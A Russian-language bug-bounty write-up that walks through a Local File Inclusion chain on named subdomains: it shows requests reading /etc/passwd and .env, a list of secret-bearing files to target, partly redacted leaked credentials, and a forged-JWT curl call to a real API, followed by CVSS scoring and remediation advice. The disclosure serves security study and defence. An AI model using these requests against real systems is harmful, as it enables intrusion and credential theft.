🔍 От LFI до полной компрометации инфраструктуры — реальный кейс CVSS 9.0

В рамках одного из багбаунти-исследований мне удалось обнаружить и успешно эксплуатировать уязвимость Local File Inclusion (LFI) на поддоменах *.max.ru.
Эта уязвимость дала возможность скачать конфигурационные файлы, получить критические секреты, подделать авторизационные токены и в итоге — полностью скомпрометировать API и инфраструктуру.

📺 Видео с PoC: YouTube
📂 Архив с доказательствами: Yandex Disk

1️⃣ Этап 1 — Рекогносцировка

Начав с классического рекона, я искал параметры, которые могут работать с файловыми путями.
На поддоменах:

business.max.ru
help.max.ru

нашёл параметр file, который явно подгружал файлы с сервера.

Тест-запрос:

GET https://business.max.ru/?file=/etc/passwd HTTP/1.1
Host: business.max.ru
User-Agent: Mozilla/5.0
Accept: */*

Ответ (фрагмент):

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Вывод: нет фильтрации, нет валидации, полный LFI.

2️⃣ Этап 2 — Поиск «золотых файлов»

После подтверждения LFI приоритет был очевиден — искать файлы, содержащие пароли, ключи и токены.

Файл Что хранит Чем опасен .env Переменные окружения JWT_SECRET, доступ к БД, API-ключи config.php Конфигурация PHP-приложения Подключение к БД .git/config Настройки git-репозитория URL и токены для приватных репо /proc/self/environ Переменные окружения процесса Runtime-секреты database.php Данные для подключения к БД Полный доступ к данным

Запрос на .env:

GET https://help.max.ru/?file=/.env HTTP/1.1
Host: help.max.ru
User-Agent: curl/7.68.0
Accept: */*

Ответ (усечён):

APP_ENV=production
DB_HOST=db.max.ru
DB_USER=max_prod
DB_PASSWORD=Sup3rS3cretPass
JWT_SECRET=4a9c9b8f8d2a46f83d8e70f...
GIT_TOKEN=ghp_7d9f4a8321b...

3️⃣ Этап 3 — Извлечение секретов

Из этих файлов были получены:

JWT_SECRET — ключ подписи токенов авторизации
DB_USER / DB_PASSWORD — доступ к продакшн-БД
GitHub Token — чтение и запись в приватные репозитории
API Keys — ключи к сторонним сервисам

4️⃣ Этап 4 — Эксплуатация JWT_SECRET

Секрет подписи JWT дал возможность:

Подделывать токены любого пользователя (включая админов)
Повторно использовать (token replay) уже действующие токены
Получать доступ к приватным эндпоинтам API без логина и пароля

PoC-запрос:

curl -H "Authorization: Bearer forged_admin_token" \
     https://api.oneme.ru/api/user

Результат:
Ответ с приватными данными пользователя без прохождения авторизации.

5️⃣ Этап 5 — Полная цепочка атаки

Сценарий выглядел так:

LFI на *.max.ru → доступ к .env
Извлечение JWT_SECRET и других секретов
Форжинг токена с правами администратора
Доступ к API → просмотр, изменение, удаление данных
GitHub Token → скачивание приватного кода
Возможный доступ к внутренним сервисам через API-ключи

6️⃣ MITRE ATT&CK

T1005 — Data from Local System
T1552.001 — Unsecured Credentials: Environment Variables
T1078 — Valid Accounts
T1550.003 — Use of Web Tokens

7️⃣ CVSS 3.1

Вектор:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Оценка: 9.0 (Critical)

AV:N — доступно по сети
AC:L — низкая сложность
PR:N — не требует авторизации
UI:N — не требует действий пользователя
S:C — затрагивает другие компоненты
C:H/I:H/A:H — критическое влияние на все параметры

8️⃣ Риски

Полная компрометация API
Утечка критических секретов
Доступ к приватным репозиториям
Возможные атаки на внутреннюю инфраструктуру

9️⃣ Рекомендации

Фильтрация параметров — белые списки путей, запрет абсолютных/относительных переходов.
Закрыть доступ к .env и config.php на уровне веб-сервера.
Не хранить продакшн-секреты в коде и окружении, доступном фронтенду.
Регулярная ротация ключей и токенов.
Мониторинг и алерты по аномальной активности.

10️⃣ Выводы для багхантеров

LFI часто недооценивают, но в реальности он может открыть все двери.
Первое, что проверяйте — .env, config.php, .git/.
Один секрет (например, JWT_SECRET) = полный контроль над системой.
Думайте цепочками атак, а не отдельными багами.

💡 Ключевая мысль:

Даже одна уязвимость низкого уровня, если её правильно развить, может обернуться катастрофой для бизнеса.